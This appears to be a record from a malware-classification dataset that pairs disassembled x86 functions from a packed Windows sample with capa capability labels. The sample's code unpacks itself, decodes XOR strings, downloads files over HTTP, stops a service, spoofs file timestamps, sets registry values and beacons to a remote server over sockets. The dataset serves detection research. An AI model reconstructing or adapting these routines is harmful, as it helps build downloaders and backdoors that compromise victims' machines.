joyce8/EMBER2024-capa huggingface dataset:
Function at 0x105daf20
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x105db10d
pushal
mov esi, section.UPX1
lea edi, [esi - 0x35c000]
push edi
or ebp, 0xffffffff
jmp 0x105daf4a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x105daf51
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x105daf40
mov eax, 1
add ebx, ebx
jne 0x105daf63
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x105daf74
jne 0x105daf93
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x105daf93
dec eax
add ebx, ebx
jne 0x105daf80
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x105daf58
add ebx, ebx
jne 0x105daf8f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x105dafe5
xor ecx, ecx
sub eax, 3
jb 0x105dafab
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x105db01a
sar eax, 1
mov ebp, eax
jmp 0x105dafb6
add ebx, ebx
jne 0x105dafb6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x105daf84
inc ecx
add ebx, ebx
jne 0x105dafc4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x105daf84
add ebx, ebx
jne 0x105dafd1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x105dafc6
jne 0x105dafe2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x105dafc6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x105db004
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x105daff6
jmp 0x105daf46
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x105db004
add edi, ecx
jmp 0x105daf46
pop esi
mov edi, esi
mov ecx, 0x6b8b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x105db022
cmp byte [edi], 0x22
jne 0x105db022
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x105db027
lea edi, [esi + 0x5cf000]
mov eax, dword [edi]
or eax, eax
je 0x105db09f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x5e83e8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x5e8518]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x105db054
mov ecx, edi
jns 0x105db083
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x5e851c]
or eax, eax
je 0x105db099
mov dword [ebx], eax
add ebx, 4
jmp 0x105db071
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x105db0d0
cmp al, 0xef
ja 0x105db0c3
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x105db0a5
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x105db0b2
mov ebp, dword [esi + 0x5e8520]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x105db104
sub esp, 0xffffff80
jmp 0x100fc712
Function at 0x40168e
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov eax, dword [0x404ad0]
imul eax, eax, 0x8088405
inc eax
mov dword [0x404ad0], eax
ret

Function at 0x401704
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor eax, eax
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xchg ah, al
lodsb al, byte [esi]
xor al, ah
stosb byte es:[edi], al
jne 0x401711
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebp
ret

Function at 0x401720
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push esi
cld
mov esi, dword [ebp + 8]
xor edx, edx
lodsb al, byte [esi]
rol edx, 7
xor dl, al
or al, al
jne 0x40172b
xchg edx, eax
pop esi
pop esi
pop ebp
ret

Function at 0x401753
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
mov esi, 0x100
cmp dword [ebp + 0xc], esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_WriteFile]
jle 0x4017b2
push ebx
mov ebx, dword [ebp + 0xc]
add ebx, 0xfffffeff
shr ebx, 8
inc ebx
mov eax, ebx
imul eax, eax, 0xffffff00
add dword [ebp + 0xc], eax
xor ecx, ecx
call fcn.0040168e
mov dword [ebp + ecx*4 - 0x104], eax
inc ecx
cmp ecx, 0x40
jl 0x401789
push 0
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call edi
dec ebx
jne 0x401787
pop ebx
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call edi
pop edi
pop esi
leave
ret
Function at 0x4017cb
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
xor esi, esi
push esi
push esi
push esi
push dword [ebp + 0x20]
mov dword [ebp - 0x10], esi
push esi
call dword [sym.imp.WININET.DLL_InternetOpenA]
cmp eax, esi
mov dword [ebp - 0x18], eax
je 0x401807
lea ecx, [ebp - 4]
push ecx
push 0x84080700
push esi
push esi
push dword [ebp + 8]
push eax
call dword [sym.imp.WININET.DLL_InternetOpenUrlA]
cmp eax, esi
mov dword [ebp - 0xc], eax
jne 0x40180e
xor eax, eax
jmp 0x401921
push ebx
push edi
mov esi, 0x500000
push esi
call fcn.004016d2
mov edi, dword [sym.imp.WININET.DLL_InternetReadFile]
mov ebx, eax
pop ecx
mov dword [ebp - 8], ebx
jmp 0x40183f
test eax, eax
je 0x401850
cmp dword [ebp + 0x24], 0
je 0x40183c
push dword [ebp + 0x24]
call dword [sym.imp.KERNEL32.DLL_Sleep]
add ebx, dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push esi
push ebx
push dword [ebp - 0xc]
call edi
cmp dword [ebp - 4], 0
jne 0x401829
mov ecx, dword [ebp - 8]
sub ebx, ecx
xor edx, edx
cmp dword [ebp + 0x10], edx
mov dword [ebp - 0x14], ebx
je 0x401868
cmp ebx, dword [ebp + 0x10]
jl 0x401903
mov esi, dword [ebp + 0x18]
cmp esi, edx
je 0x401898
mov eax, dword [ebp + 0x14]
cmp eax, edx
je 0x401898
cmp ebx, esi
jl 0x401903
cmp esi, edx
jle 0x401898
sub ecx, eax
movzx edi, byte [ecx + eax]
movsx ebx, byte [eax]
cmp edi, ebx
jne 0x401903
inc edx
inc eax
cmp edx, esi
jl 0x401884
mov ebx, dword [ebp - 0x14]
mov eax, dword [ebp + 0xc]
cmp byte [eax], 1
jne 0x4018b1
push dword [ebp + 0x10]
push dword [ebp - 8]
push eax
call fcn.004016e5
add esp, 0xc
jmp 0x401900
xor ecx, ecx
push ecx
push ecx
push 2
push ecx
push ecx
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401903
mov edi, dword [ebp - 8]
push 0
lea eax, [ebp - 4]
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
cmp dword [ebp + 0x1c], 0
je 0x4018f9
cmp dword [ebx + edi - 4], 0xfefefefe
jne 0x4018f9
push dword [ebp + 0x1c]
push esi
call fcn.00401753
pop ecx
pop ecx
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov dword [ebp - 0x10], ebx
push dword [ebp - 8]
call fcn.004016bf
mov esi, dword [sym.imp.WININET.DLL_InternetCloseHandle]
pop ecx
push dword [ebp - 0xc]
call esi
push dword [ebp - 0x18]
call esi
mov eax, dword [ebp - 0x10]
pop edi
pop ebx
pop esi
leave
ret
Function at 0x401924
Capabilities:
Modify service
Stop service

Disassembly:
sub esp, 0x1c
push ebp
push edi
push 0x23
xor edi, edi
push edi
push edi
call dword [sym.imp.ADVAPI32.DLL_OpenSCManagerA]
mov ebp, eax
cmp ebp, edi
je 0x401981
push ebx
push esi
push 0x22
push 0x40353c
push ebp
call dword [sym.imp.ADVAPI32.DLL_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.DLL_CloseServiceHandle]
mov esi, eax
cmp esi, edi
je 0x40197c
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push 0xffffffffffffffff
push 4
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.DLL_ChangeServiceConfigA]
lea eax, [esp + 0x10]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.DLL_ControlService]
push esi
call ebx
push ebp
call ebx
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x1c
ret

Function at 0x401987
Capabilities:
Copy file
Set registry value
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
push esi
push 0x1000
call fcn.004016d2
push dword [ebp + 0xc]
mov dword [ebp - 8], eax
push dword [ebp + 8]
call fcn.00401704
mov ebx, dword [ebp + 0x14]
add esp, 0xc
xor esi, esi
push esi
push ebx
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
test eax, eax
je 0x401a16
push edi
push esi
push esi
push 3
push esi
push esi
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
push 2
push esi
mov edi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
lea eax, [ebp - 4]
push esi
push eax
call fcn.0040168e
and eax, 0xfff
push eax
push dword [ebp - 8]
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov eax, dword [ebp + 0x18]
lea ecx, [eax + 0x10]
push ecx
lea ecx, [eax + 8]
push ecx
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_SetFileTime]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
push dword [ebp - 8]
call fcn.004016bf
pop ecx
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 0x20]
call fcn.00401704
add esp, 8
push dword [ebp - 4]
lea eax, [ebp - 0x208]
push ebx
push 1
push eax
push dword [ebp + 0x1c]
push dword [ebp + 0x24]
call dword [sym.imp.SHLWAPI.DLL_SHSetValueA]
pop esi
pop ebx
leave
ret
Function at 0x401a58
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x818
push esi
push edi
lea eax, [ebp - 0x418]
push eax
push dword [section..data]
call fcn.00401704
add esp, 8
mov esi, 0x200
push esi
lea eax, [ebp - 0x618]
push eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push esi
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
lea eax, [ebp - 0x818]
push eax
push dword [0x404004]
call fcn.00401704
add esp, 8
lea eax, [ebp - 0x818]
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea esi, [ebp + eax - 0x218]
push esi
push dword [0x404008]
call fcn.00401704
add esp, 8
push edi
push edi
push 3
push edi
push 1
push bind
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileTime]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push bind
push dword [0x40400c]
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x618]
push eax
push esi
push dword [0x404010]
call fcn.00401987
push reloc.WS2_32.DLL_bind
push dword [0x404014]
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x618]
push eax
push esi
push dword [0x404018]
call fcn.00401987
add esp, 0x40
pop edi
pop esi
leave
ret

Function at 0x401bae
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
lea eax, [ebp - 0x108]
push edi
push eax
call fcn.00401b84
pop ecx
xor esi, esi
push esi
push esi
push 3
push esi
push esi
push bind
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x401beb
xor eax, eax
jmp 0x401c14
push esi
lea eax, [ebp - 4]
push eax
push 0x100000
push dword [0x404030]
push edi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 4]
mov dword [0x404034], eax
xor eax, eax
inc eax
pop edi
pop esi
leave
ret
Function at 0x401c18
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
mov esi, dword [ebp + 8]
push edi
lea eax, [ebp - 4]
push eax
push esi
mov dword [ebp - 4], 0x200
call dword [sym.imp.KERNEL32.DLL_GetComputerNameA]
push esi
call fcn.00401720
add esp, 4
mov dword [ebp - 4], eax
lea edi, [ebp - 0x44]
rol dword [ebp - 4], 1
push dword [ebp - 4]
push 0x404ad4
push edi
call dword [sym.imp.USER32.DLL_wsprintfA]
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
add edi, eax
lea eax, [ebp - 0x1c]
cmp edi, eax
jb 0x401c44
lea eax, [ebp - 0x44]
mov byte [esi], 0x43
mov byte [esi + 1], 0x4c
mov byte [esi + 2], 0x53
mov byte [esi + 3], 0x49
mov byte [esi + 4], 0x44
mov byte [esi + 5], 0x5c
push eax
add esi, 6
push esi
mov byte [ebp - 0x44], 0x7b
mov byte [ebp - 0x3b], 0x2d
mov byte [ebp - 0x36], 0x2d
mov byte [ebp - 0x31], 0x2d
mov byte [ebp - 0x2c], 0x2d
mov byte [ebp - 0x1f], 0x7d
mov byte [ebp - 0x1e], 0
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
pop edi
pop esi
leave
ret

Function at 0x401cae
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
lea eax, [ebp - 0x10c]
push eax
xor esi, esi
call fcn.00401c18
pop ecx
push esi
lea eax, [ebp - 4]
push eax
push esi
push 1
push esi
push esi
push esi
lea eax, [ebp - 0x10c]
push eax
push bind
mov dword [ebp - 8], 0x100000
call dword [sym.imp.ADVAPI32.DLL_RegCreateKeyExA]
test eax, eax
jne 0x401d20
lea eax, [ebp - 8]
push eax
push dword [0x404030]
push esi
push esi
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.DLL_RegQueryValueExA]
test eax, eax
jne 0x401d17
mov eax, dword [ebp - 8]
cmp eax, 0x10
jbe 0x401d17
mov dword [0x404034], eax
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.DLL_RegCloseKey]
mov eax, esi
pop esi
leave
ret
Function at 0x402162
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34c
push esi
push edi
push 0x104
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x24c]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
push edi
call esi
add eax, edi
push eax
push dword [0x404004]
call fcn.00401704
add esp, 8
push edi
call esi
add edi, eax
call dword [sym.imp.KERNEL32.DLL_GetVersion]
cmp eax, 0x80000000
lea eax, [ebp - 0x34c]
push eax
jae 0x4021d3
push dword [0x404024]
call fcn.00401704
add esp, 8
jmp 0x4021eb
push dword [0x404028]
call fcn.00401704
sub edi, 3
mov byte [edi], 0x5c
add esp, 8
inc edi
mov byte [edi], 0
lea eax, [ebp - 0x34c]
push eax
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x4022f4
mov dword [ebp + 8], edi
call fcn.0040168e
mov esi, eax
and esi, 3
add esi, 5
test esi, esi
jle 0x4022c8
push ebx
call fcn.0040168e
push 0x1e
xor edx, edx
pop ecx
div ecx
test edx, edx
je 0x40225c
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x402238
xor ecx, ecx
cmp byte [ebp - 0x11c], 0x2e
je 0x4022ba
inc ecx
cmp byte [ebp + ecx - 0x11c], 0x2e
jne 0x402267
cmp ecx, 4
jl 0x4022ba
call fcn.0040168e
add ecx, 0xfffffffe
xor edx, edx
div ecx
mov ebx, edx
call fcn.0040168e
xor edx, edx
push 3
pop ecx
div ecx
xor ecx, ecx
inc edx
inc edx
test edx, edx
jle 0x4022ba
lea eax, [ebp + ebx - 0x11c]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov al, byte [eax + ecx]
cmp al, 0x2e
je 0x4022b5
mov ebx, dword [ebp + 8]
inc dword [ebp + 8]
mov byte [ebx], al
inc ecx
cmp ecx, edx
jl 0x4022a3
mov eax, dword [ebp + 8]
sub eax, edi
cmp eax, esi
jl 0x402238
pop ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov eax, dword [ebp + 0xc]
dec eax
je 0x4022e1
dec eax
jne 0x4022ef
push 0x403550
jmp 0x4022e6
push 0x403548
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
xor eax, eax
inc eax
jmp 0x4022f6
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x4022fa
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push esi
push edi
mov edi, dword [ebp + 8]
push 0x200
push edi
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
lea eax, [ebp - 0x100]
push eax
push dword [0x404004]
call fcn.00401704
add esp, 8
call dword [sym.imp.KERNEL32.DLL_GetVersion]
cmp eax, 0x80000000
jb 0x402344
mov byte [ebp - 0xf9], 0x5c
mov byte [ebp - 0xf8], 0
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x100]
push eax
push edi
call esi
push dword [ebp + 0xc]
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
add eax, edi
mov byte [eax], 0x2e
inc eax
mov byte [eax], 0x64
inc eax
mov byte [eax], 0x6c
inc eax
pop edi
mov byte [eax], 0x6c
mov byte [eax + 1], 0
pop esi
leave
ret
Function at 0x4023cd
Capabilities:
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push ebx
push esi
push edi
mov esi, 0x4040ec
mov dword [ebp - 4], 0x40
xor edi, edi
lea ebx, [esi - 0x1c]
mov eax, dword [ebx]
cmp eax, dword [ebp + 8]
jne 0x402469
cmp dword [esi - 4], edi
je 0x402422
cmp dword [esi - 0x18], edi
je 0x402416
mov eax, dword [esi]
cmp eax, edi
je 0x402416
push edi
push 1
call eax
push 0x2710
mov dword [esi], edi
mov dword [esi - 0x18], edi
call dword [sym.imp.KERNEL32.DLL_Sleep]
push dword [esi - 4]
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov dword [esi - 4], edi
lea eax, [esi - 0x14]
push eax
lea eax, [ebp - 0x204]
push eax
call fcn.004022fa
pop ecx
pop ecx
lea eax, [ebp - 0x204]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x402455
push 4
push edi
lea eax, [ebp - 0x204]
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileExA]
push 0x28
push ebx
call fcn.0040173a
pop ecx
pop ecx
mov dword [0x404038], 1
add esi, 0x28
dec dword [ebp - 4]
jne 0x4023e7
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402536
Capabilities:
Connect socket
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
push edi
inc ebx
push ebx
push 2
mov dword [ebp - 8], ebx
call sub.WS2_32.DLL_socket
mov esi, eax
lea eax, [ebp - 0x24]
push 0x10
push eax
call fcn.0040173a
pop ecx
pop ecx
push 0x10
lea eax, [ebp - 0x24]
push eax
push esi
mov word [ebp - 0x24], 2
call sub.WS2_32.DLL_bind
push dword [ebp + 8]
mov word [ebp - 0x24], 2
call sub.WS2_32.DLL_htonl
push dword [ebp + 0xc]
mov dword [ebp - 0x20], eax
call sub.WS2_32.DLL_htons
push 4
mov word [ebp - 0x22], ax
lea eax, [ebp - 8]
push eax
push ebx
push 6
push esi
call sub.WS2_32.DLL_setsockopt
push 0x10
lea eax, [ebp - 0x24]
push eax
push esi
call sub.WS2_32.DLL_connect
test eax, eax
jne 0x402692
push 0xc
pop eax
push edi
push eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x14]
push eax
push esi
mov dword [ebp - 0x14], 0x571da911
mov dword [ebp - 0xc], 3
call sub.WS2_32.DLL_send
or ebx, 0xffffffff
cmp eax, ebx
je 0x402692
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
push edi
push 4
lea eax, [ebp - 0x14]
push eax
push esi
call sub.WS2_32.DLL_recv
cmp eax, 4
jne 0x402692
cmp dword [ebp - 0x14], 0xf509cc78
jne 0x402692
mov eax, dword [0x40403c]
mov dword [ebp - 0x14], eax
mov eax, dword [0x40401c]
push edi
mov dword [ebp - 0x10], eax
push 8
lea eax, [ebp - 0x14]
push eax
push esi
call sub.WS2_32.DLL_send
cmp eax, ebx
je 0x402692
mov eax, dword [0x404020]
push edi
mov dword [ebp - 0x14], eax
push 8
lea eax, [ebp - 0x14]
push eax
push esi
mov dword [ebp - 0x10], edi
call sub.WS2_32.DLL_send
cmp eax, ebx
je 0x402692
cmp dword [0x4040d0], edi
je 0x402677
mov dword [ebp - 4], 0x4040d0
cmp dword [ebp - 4], 0x404ad0
jge 0x402677
push edi
push 8
push dword [ebp - 4]
push esi
call sub.WS2_32.DLL_send
cmp eax, ebx
je 0x402677
add dword [ebp - 4], 0x28
mov eax, dword [ebp - 4]
cmp dword [eax], edi
jne 0x402653
push edi
push 8
lea eax, [ebp - 0x14]
push eax
push esi
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
call sub.WS2_32.DLL_send
cmp eax, ebx
je 0x402692
mov eax, esi
jmp 0x40269a
push esi
call sub.WS2_32.DLL_closesocket
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4026e9
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
push 4
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call sub.WS2_32.DLL_recv
cmp eax, 4
jne 0x402732
cmp dword [ebp - 4], 0
jle 0x402732
mov eax, dword [ebp + 0x10]
cmp dword [ebp - 4], eax
jg 0x402732
shl eax, 2
push eax
push dword [ebp + 0xc]
call fcn.0040173a
mov eax, dword [ebp - 4]
pop ecx
pop ecx
push 0
shl eax, 2
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.WS2_32.DLL_recv
mov dword [0x404038], 1
leave
ret
Function at 0x4027b2
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push 0
push 8
lea eax, [ebp - 0x40]
push eax
push dword [ebp + 8]
call sub.WS2_32.DLL_recv
cmp eax, 8
jne 0x4027f2
mov eax, dword [ebp - 0x40]
dec eax
je 0x4027e0
dec eax
jne 0x4027f2
mov eax, dword [ebp - 0x3c]
mov dword [0x40401c], eax
jmp 0x4027e8
mov eax, dword [ebp - 0x3c]
mov dword [0x40403c], eax
mov dword [0x404038], 1
leave
ret

Function at 0x402933
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push ebx
xor ebx, ebx
cmp dword [ebp + 0x18], ebx
push esi
push edi
mov byte [ebp - 0x230], 0x68
mov byte [ebp - 0x22f], 0x74
mov byte [ebp - 0x22e], 0x74
mov byte [ebp - 0x22d], pe_nt_image_headers32
mov byte [ebp - 0x22c], 0x3a
mov byte [ebp - 0x22b], 0x2f
mov byte [ebp - 0x22a], 0x2f
mov byte [ebp - 0x229], bl
je 0x402982
mov eax, dword [ebp + 8]
jmp 0x402990
push dword [ebp + 8]
call sub.WS2_32.DLL_ntohl
push eax
call sub.WS2_32.DLL_inet_ntoa
push eax
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push dword [ebp + 0xc]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
push dword [0x40401c]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x230]
push eax
mov byte [ebp - 0x10], 0x2f
mov byte [ebp - 0xf], 0x25
mov byte [ebp - 0xe], 0x69
mov byte [ebp - 0xd], 0x2f
mov byte [ebp - 0xc], 0x25
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x2e
mov byte [ebp - 9], 0x69
mov byte [ebp - 8], bl
call esi
lea eax, [ebp + eax - 0x230]
push eax
call dword [sym.imp.USER32.DLL_wsprintfA]
push ebx
push 2
lea eax, [ebp - 0x10]
push eax
push 0xe
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x230]
push eax
mov byte [ebp - 0x10], 0x4d
mov byte [ebp - 0xf], 0x50
mov byte [ebp - 0x30], 1
call fcn.004027f4
add esp, 0x28
cmp eax, 0xe
jne 0x402aee
mov edi, dword [ebp + 0x14]
imul edi, edi, 0x28
cmp dword [ebp - 0x2e], 0x7fff
jae 0x402a40
call fcn.004016a0
mov ecx, dword [ebp - 0x2e]
imul ecx, ecx, 0x3c
add eax, ecx
mov dword [edi + 0x4040f0], eax
jmp 0x402a46
mov dword [edi + 0x4040f0], ebx
mov eax, dword [ebp - 0x2a]
cmp eax, 0x7fff
jae 0x402a5b
imul eax, eax, 0x3c
mov dword [edi + 0x4040f4], eax
jmp 0x402a61
mov dword [edi + 0x4040f4], ebx
lea eax, [ebp - 0x230]
push eax
call esi
lea ecx, [ebp - 0x230]
dec ecx
dec ecx
mov byte [eax + ecx], bl
mov byte [ebp - 0xf], 0x5a
call fcn.0040168e
and eax, 0xfff
push eax
push 2
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x26]
lea eax, [ebp - 0x230]
push dword [ebp + 0x10]
push eax
call fcn.004027f4
add esp, 0x18
test eax, eax
je 0x402aee
lea edx, [edi + 0x4040d0]
push 0x28
push edx
call fcn.0040173a
mov eax, dword [ebp + 0xc]
pop ecx
pop ecx
push dword [ebp + 0x10]
mov dword [edx], eax
call esi
add eax, dword [ebp + 0x10]
jmp 0x402ac3
dec eax
cmp byte [eax], 0x2e
jne 0x402ac2
cmp bl, 0x5c
mov byte [eax], bl
je 0x402ad5
dec eax
cmp byte [eax], 0x5c
jne 0x402acf
inc eax
push eax
lea eax, [edi + 0x4040d8]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
xor eax, eax
inc eax
mov dword [0x404038], eax
jmp 0x402af0
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret